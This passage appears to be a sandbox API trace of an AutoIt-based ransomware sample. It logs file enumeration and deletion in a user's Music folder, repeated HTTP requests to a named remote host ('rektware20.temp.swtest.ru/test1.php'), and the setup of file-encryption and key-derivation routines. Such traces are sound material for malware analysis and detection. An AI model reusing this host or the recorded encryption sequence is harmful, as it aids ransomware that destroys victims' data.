lpFindFileData=0x130f060 | out: lpFindFileData=0x130f060) returned 0x164c8f0 [0064.227] DeleteFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Music\\HLxtGe9ks2i\\4AMd57\\xNjQU.m4a" (normalized: "c:\\users\\ciihmnxmn6ps\\music\\hlxtge9ks2i\\4amd57\\xnjqu.m4a")) returned 1 [0064.230] FindNextFileW (in: hFindFile=0x164c8f0, lpFindFileData=0x130f060 | out: lpFindFileData=0x130f060) returned 0 [0064.230] FindClose (in: hFindFile=0x164c8f0 | out: hFindFile=0x164c8f0) returned 1 [0064.230] PeekMessageW (in: lpMsg=0x130f3bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f3bc) returned 0 [0064.230] PeekMessageW (in: lpMsg=0x130f614, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f614) returned 0 [0064.231] PeekMessageW (in: lpMsg=0x130f614, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f614) returned 0 [0064.231] PeekMessageW (in: lpMsg=0x130f614, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f614) returned 0 [0064.231] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Music\\7r8kXLJPjCaYia\\kxxk0QB6FHxGhkKA.m4a", lpFindFileData=0x130f048 | out: lpFindFileData=0x130f048) returned 0x164d070 [0064.231] FindClose (in: hFindFile=0x164d070 | out: hFindFile=0x164d070) returned 1 [0064.231] PeekMessageW (in: lpMsg=0x130f614, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f614) returned 0 [0064.231] InternetCrackUrlW (in: lpszUrl="http://rektware20.temp.swtest.ru/test1.php", dwUrlLength=0x2a, dwFlags=0x0, lpUrlComponents=0x130ef38 | out: lpUrlComponents=0x130ef38) returned 1 [0064.231] InternetOpenW (lpszAgent="AutoIt", dwAccessType=0x0, lpszProxy=0x0, lpszProxyBypass=0x0, dwFlags=0x0) returned 0xcc0004 [0064.231] InternetSetOptionW (hInternet=0x0, dwOption=0x32, lpBuffer=0x130ef80, dwBufferLength=0x8) returned 1 [0064.231] InternetQueryOptionW (in: hInternet=0x0, dwOption=0x26, lpBuffer=0x0, lpdwBufferLength=0x130ef8c | out: lpBuffer=0x0, lpdwBufferLength=0x130ef8c) returned 0 [0064.231] InternetQueryOptionW (in: hInternet=0x0, dwOption=0x26, lpBuffer=0x1620fb8, lpdwBufferLength=0x130ef8c | out: lpBuffer=0x1620fb8, lpdwBufferLength=0x130ef8c) returned 1 [0064.231] InternetConnectW (hInternet=0xcc0004, lpszServerName="rektware20.temp.swtest.ru", nServerPort=0x50, lpszUserName="", lpszPassword="", dwService=0x3, dwFlags=0x0, dwContext=0x0) returned 0xcc0008 [0064.231] HttpOpenRequestW (hConnect=0xcc0008, lpszVerb=0x0, lpszObjectName="/test1.php", lpszVersion=0x0, lpszReferrer=0x0, lplpszAcceptTypes=0x0, dwFlags=0x0, dwContext=0x0) returned 0xcc000c [0064.232] HttpSendRequestW (in: hRequest=0xcc000c, lpszHeaders=0x0, dwHeadersLength=0x0, lpOptional=0x0*, dwOptionalLength=0x0 | out: lpOptional=0x0*) returned 1 [0064.232] HttpQueryInfoW (in: hRequest=0xcc000c, dwInfoLevel=0x20000013, lpBuffer=0x130ef40, lpdwBufferLength=0x130ef38, lpdwIndex=0x130ef3c*=0x0 | out: lpBuffer=0x130ef40*, lpdwBufferLength=0x130ef38*=0x4, lpdwIndex=0x130ef3c*=0x0) returned 1 [0064.232] HttpQueryInfoW (in: hRequest=0xcc000c, dwInfoLevel=0x5, lpBuffer=0x130ef5c, lpdwBufferLength=0x130ef88, lpdwIndex=0x130ef8c*=0x0 | out: lpBuffer=0x130ef5c*, lpdwBufferLength=0x130ef88*=0x2, lpdwIndex=0x130ef8c*=0x1) returned 1 [0064.232] InternetQueryDataAvailable (hFile=0xcc000c, lpdwNumberOfBytesAvailable=0x130ef3c, dwFlags=0x0, dwContext=0x0) returned 1 [0064.233] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x1629310, dwNumberOfBytesToRead=0x2, lpdwNumberOfBytesRead=0x130ef40 | out: lpBuffer=0x1629310*, lpdwNumberOfBytesRead=0x130ef40*=0x2) returned 1 [0064.233] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x16291a0, dwNumberOfBytesToRead=0x2, lpdwNumberOfBytesRead=0x130ef40 | out: lpBuffer=0x16291a0*, lpdwNumberOfBytesRead=0x130ef40*=0x0) returned 1 [0064.233] InternetCloseHandle (hInternet=0xcc000c) returned 1 [0064.233] InternetCloseHandle (hInternet=0xcc0004) returned 1 [0064.233] InternetCloseHandle (hInternet=0xcc0008) returned 0 [0064.233] CloseHandle (hObject=0x0) returned 0 [0064.233] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="C:\\Users\\CIiHmnxMn6Ps\\Music\\7r8kXLJPjCaYia\\kxxk0QB6FHxGhkKA.m4a", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0064.233] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1=":\\Users\\CIiHmnxMn6Ps\\Music\\7r8kXLJPjCaYia\\kxxk0QB6FHxGhkKA.m4a", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0064.233] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="\\Users\\CIiHmnxMn6Ps\\Music\\7r8kXLJPjCaYia\\kxxk0QB6FHxGhkKA.m4a", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0064.233] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="Users\\CIiHmnxMn6Ps\\Music\\7r8kXLJPjCaYia\\kxxk0QB6FHxGhkKA.m4a", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0064.233] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="sers\\CIiHmnxMn6Ps\\Music\\7r8kXLJPjCaYia\\kxxk0QB6FHxGhkKA.m4a", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0064.233] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="ers\\CIiHmnxMn6Ps\\Music\\7r8kXLJPjCaYia\\kxxk0QB6FHxGhkKA.m4a", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0064.233] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="rs\\CIiHmnxMn6Ps\\Music\\7r8kXLJPjCaYia\\kxxk0QB6FHxGhkKA.m4a", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0064.233] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="s\\CIiHmnxMn6Ps\\Music\\7r8kXLJPjCaYia\\kxxk0QB6FHxGhkKA.m4a", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0064.233] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="\\CIiHmnxMn6Ps\\Music\\7r8kXLJPjCaYia\\kxxk0QB6FHxGhkKA.m4a", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0064.234] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="CIiHmnxMn6Ps\\Music\\7r8kXLJPjCaYia\\kxxk0QB6FHxGhkKA.m4a", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0064.234] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="IiHmnxMn6Ps\\Music\\7r8kXLJPjCaYia\\kxxk0QB6FHxGhkKA.m4a", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0064.234] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="iHmnxMn6Ps\\Music\\7r8kXLJPjCaYia\\kxxk0QB6FHxGhkKA.m4a", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0064.234] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="HmnxMn6Ps\\Music\\7r8kXLJPjCaYia\\kxxk0QB6FHxGhkKA.m4a", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0064.234] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="mnxMn6Ps\\Music\\7r8kXLJPjCaYia\\kxxk0QB6FHxGhkKA.m4a", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0064.234] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="nxMn6Ps\\Music\\7r8kXLJPjCaYia\\kxxk0QB6FHxGhkKA.m4a", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0064.234] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="xMn6Ps\\Music\\7r8kXLJPjCaYia\\kxxk0QB6FHxGhkKA.m4a", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0064.234] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="Mn6Ps\\Music\\7r8kXLJPjCaYia\\kxxk0QB6FHxGhkKA.m4a", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0064.234] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="n6Ps\\Music\\7r8kXLJPjCaYia\\kxxk0QB6FHxGhkKA.m4a", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0064.234] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="6Ps\\Music\\7r8kXLJPjCaYia\\kxxk0QB6FHxGhkKA.m4a", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0064.234] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="Ps\\Music\\7r8kXLJPjCaYia\\kxxk0QB6FHxGhkKA.m4a", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0064.234] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="s\\Music\\7r8kXLJPjCaYia\\kxxk0QB6FHxGhkKA.m4a", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0064.234] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="\\Music\\7r8kXLJPjCaYia\\kxxk0QB6FHxGhkKA.m4a", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0064.234] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="Music\\7r8kXLJPjCaYia\\kxxk0QB6FHxGhkKA.m4a", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0064.234] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="usic\\7r8kXLJPjCaYia\\kxxk0QB6FHxGhkKA.m4a", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0064.234] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="sic\\7r8kXLJPjCaYia\\kxxk0QB6FHxGhkKA.m4a", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0064.234] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="ic\\7r8kXLJPjCaYia\\kxxk0QB6FHxGhkKA.m4a", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0064.234] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="c\\7r8kXLJPjCaYia\\kxxk0QB6FHxGhkKA.m4a", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0064.234] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="\\7r8kXLJPjCaYia\\kxxk0QB6FHxGhkKA.m4a", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0064.234] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="7r8kXLJPjCaYia\\kxxk0QB6FHxGhkKA.m4a", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0064.234] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="r8kXLJPjCaYia\\kxxk0QB6FHxGhkKA.m4a", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0064.234] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="8kXLJPjCaYia\\kxxk0QB6FHxGhkKA.m4a", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0064.234] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="kXLJPjCaYia\\kxxk0QB6FHxGhkKA.m4a", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0064.234] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="XLJPjCaYia\\kxxk0QB6FHxGhkKA.m4a", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0064.234] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="LJPjCaYia\\kxxk0QB6FHxGhkKA.m4a", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0064.234] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="JPjCaYia\\kxxk0QB6FHxGhkKA.m4a", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0064.234] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="PjCaYia\\kxxk0QB6FHxGhkKA.m4a", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0064.234] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="jCaYia\\kxxk0QB6FHxGhkKA.m4a", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0064.234] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="CaYia\\kxxk0QB6FHxGhkKA.m4a", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0064.234] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="aYia\\kxxk0QB6FHxGhkKA.m4a", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0064.234] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="Yia\\kxxk0QB6FHxGhkKA.m4a", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0064.234] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="ia\\kxxk0QB6FHxGhkKA.m4a", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0064.235] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="a\\kxxk0QB6FHxGhkKA.m4a", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0064.235] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="\\kxxk0QB6FHxGhkKA.m4a", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0064.235] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="kxxk0QB6FHxGhkKA.m4a", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0064.235] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="xxk0QB6FHxGhkKA.m4a", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0064.235] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="xk0QB6FHxGhkKA.m4a", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0064.235] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="k0QB6FHxGhkKA.m4a", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0064.235] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="0QB6FHxGhkKA.m4a", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0064.235] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="QB6FHxGhkKA.m4a", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0064.235] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="B6FHxGhkKA.m4a", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0064.235] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="6FHxGhkKA.m4a", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0064.235] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="FHxGhkKA.m4a", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0064.235] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="HxGhkKA.m4a", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0064.235] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="xGhkKA.m4a", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0064.235] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="GhkKA.m4a", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0064.235] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="hkKA.m4a", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0064.235] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="kKA.m4a", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0064.235] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="KA.m4a", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0064.235] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="A.m4a", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0064.235] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1=".m4a", cchCount1=3, lpString2=".xd", cchCount2=3) returned 1 [0064.235] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="m4a", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0064.235] PeekMessageW (in: lpMsg=0x130f614, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f614) returned 0 [0064.235] CharUpperBuffW (in: lpsz="CRYPT", cchLength=0x5 | out: lpsz="CRYPT") returned 0x5 [0064.235] PeekMessageW (in: lpMsg=0x130f3bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f3bc) returned 0 [0064.235] CharUpperBuffW (in: lpsz="_CRYPT_ENCRYPTFILE", cchLength=0x12 | out: lpsz="_CRYPT_ENCRYPTFILE") returned 0x12 [0064.235] InternetCrackUrlW (in: lpszUrl="http://rektware20.temp.swtest.ru/test1.php", dwUrlLength=0x2a, dwFlags=0x0, lpUrlComponents=0x130edc8 | out: lpUrlComponents=0x130edc8) returned 1 [0064.235] InternetOpenW (lpszAgent="AutoIt", dwAccessType=0x0, lpszProxy=0x0, lpszProxyBypass=0x0, dwFlags=0x0) returned 0xcc0004 [0064.236] InternetSetOptionW (hInternet=0x0, dwOption=0x32, lpBuffer=0x130ee10, dwBufferLength=0x8) returned 1 [0064.236] InternetQueryOptionW (in: hInternet=0x0, dwOption=0x26, lpBuffer=0x0, lpdwBufferLength=0x130ee1c | out: lpBuffer=0x0, lpdwBufferLength=0x130ee1c) returned 0 [0064.236] InternetQueryOptionW (in: hInternet=0x0, dwOption=0x26, lpBuffer=0x1620ef8, lpdwBufferLength=0x130ee1c | out: lpBuffer=0x1620ef8, lpdwBufferLength=0x130ee1c) returned 1 [0064.236] InternetConnectW (hInternet=0xcc0004, lpszServerName="rektware20.temp.swtest.ru", nServerPort=0x50, lpszUserName="", lpszPassword="", dwService=0x3, dwFlags=0x0, dwContext=0x0) returned 0xcc0008 [0064.236] HttpOpenRequestW (hConnect=0xcc0008, lpszVerb=0x0, lpszObjectName="/test1.php", lpszVersion=0x0, lpszReferrer=0x0, lplpszAcceptTypes=0x0, dwFlags=0x0, dwContext=0x0) returned 0xcc000c [0064.236] HttpSendRequestW (in: hRequest=0xcc000c, lpszHeaders=0x0, dwHeadersLength=0x0, lpOptional=0x0*, dwOptionalLength=0x0 | out: lpOptional=0x0*) returned 1 [0064.236] HttpQueryInfoW (in: hRequest=0xcc000c, dwInfoLevel=0x20000013, lpBuffer=0x130edd0, lpdwBufferLength=0x130edc8, lpdwIndex=0x130edcc*=0x0 | out: lpBuffer=0x130edd0*, lpdwBufferLength=0x130edc8*=0x4, lpdwIndex=0x130edcc*=0x0) returned 1 [0064.236] HttpQueryInfoW (in: hRequest=0xcc000c, dwInfoLevel=0x5, lpBuffer=0x130edec, lpdwBufferLength=0x130ee18, lpdwIndex=0x130ee1c*=0x0 | out: lpBuffer=0x130edec*, lpdwBufferLength=0x130ee18*=0x2, lpdwIndex=0x130ee1c*=0x1) returned 1 [0064.236] InternetQueryDataAvailable (hFile=0xcc000c, lpdwNumberOfBytesAvailable=0x130edcc, dwFlags=0x0, dwContext=0x0) returned 1 [0064.236] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x1629310, dwNumberOfBytesToRead=0x2, lpdwNumberOfBytesRead=0x130edd0 | out: lpBuffer=0x1629310*, lpdwNumberOfBytesRead=0x130edd0*=0x2) returned 1 [0064.237] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x16294d0, dwNumberOfBytesToRead=0x2, lpdwNumberOfBytesRead=0x130edd0 | out: lpBuffer=0x16294d0*, lpdwNumberOfBytesRead=0x130edd0*=0x0) returned 1 [0064.237] InternetCloseHandle (hInternet=0xcc000c) returned 1 [0064.237] InternetCloseHandle (hInternet=0xcc0004) returned 1 [0064.237] InternetCloseHandle (hInternet=0xcc0008) returned 0 [0064.237] CloseHandle (hObject=0x0) returned 0 [0064.237] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0064.237] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Music\\7r8kXLJPjCaYia\\kxxk0QB6FHxGhkKA.m4a", lpFindFileData=0x130ebb0 | out: lpFindFileData=0x130ebb0) returned 0x164d070 [0064.237] FindClose (in: hFindFile=0x164d070 | out: hFindFile=0x164d070) returned 1 [0064.237] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0064.238] CharUpperBuffW (in: lpsz="_CRYPT_STARTUP", cchLength=0xe | out: lpsz="_CRYPT_STARTUP") returned 0xe [0064.238] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0064.238] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0064.238] PeekMessageW (in: lpMsg=0x130eaec, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130eaec) returned 0 [0064.238] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0064.238] LoadLibraryW (lpLibFileName="Advapi32.dll") returned 0x74c60000 [0064.238] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0064.238] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0064.238] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLESET", cchLength=0x14 | out: lpsz="__CRYPT_DLLHANDLESET") returned 0x14 [0064.238] PeekMessageW (in: lpMsg=0x130ecb4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ecb4) returned 0 [0064.238] PeekMessageW (in: lpMsg=0x130ecb4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ecb4) returned 0 [0064.238] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0064.238] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0064.238] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0064.238] PeekMessageW (in: lpMsg=0x130e8bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e8bc) returned 0 [0064.239] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0064.239] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptAcquireContext", cchWideChar=20, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 20 [0064.239] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptAcquireContext", cchWideChar=20, lpMultiByteStr=0x164e1b0, cbMultiByte=20, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptAcquireContext", lpUsedDefaultChar=0x0) returned 20 [0064.239] GetProcAddress (hModule=0x74c60000, lpProcName="CryptAcquireContext") returned 0x0 [0064.239] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptAcquireContextA", cchWideChar=21, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 21 [0064.239] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptAcquireContextA", cchWideChar=21, lpMultiByteStr=0x164df90, cbMultiByte=21, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptAcquireContextA", lpUsedDefaultChar=0x0) returned 21 [0064.239] GetProcAddress (hModule=0x74c60000, lpProcName="CryptAcquireContextA") returned 0x74c80c00 [0064.239] CryptAcquireContextA (in: phProv=0x130e890, szContainer=0x0, szProvider=0x0, dwProvType=0x18, dwFlags=0xf0000000 | out: phProv=0x130e890*=0x17ab6e8) returned 1 [0064.242] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0064.242] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0064.242] CharUpperBuffW (in: lpsz="__CRYPT_CONTEXTSET", cchLength=0x12 | out: lpsz="__CRYPT_CONTEXTSET") returned 0x12 [0064.242] PeekMessageW (in: lpMsg=0x130ecb4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ecb4) returned 0 [0064.242] PeekMessageW (in: lpMsg=0x130ecb4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ecb4) returned 0 [0064.242] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0064.242] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0064.242] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0064.242] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTINC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTINC") returned 0x13 [0064.242] PeekMessageW (in: lpMsg=0x130ecb4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ecb4) returned 0 [0064.242] PeekMessageW (in: lpMsg=0x130ecb4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ecb4) returned 0 [0064.242] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0064.242] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0064.242] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0064.242] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0064.242] CharUpperBuffW (in: lpsz="_CRYPT_DERIVEKEY", cchLength=0x10 | out: lpsz="_CRYPT_DERIVEKEY") returned 0x10 [0064.243] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, 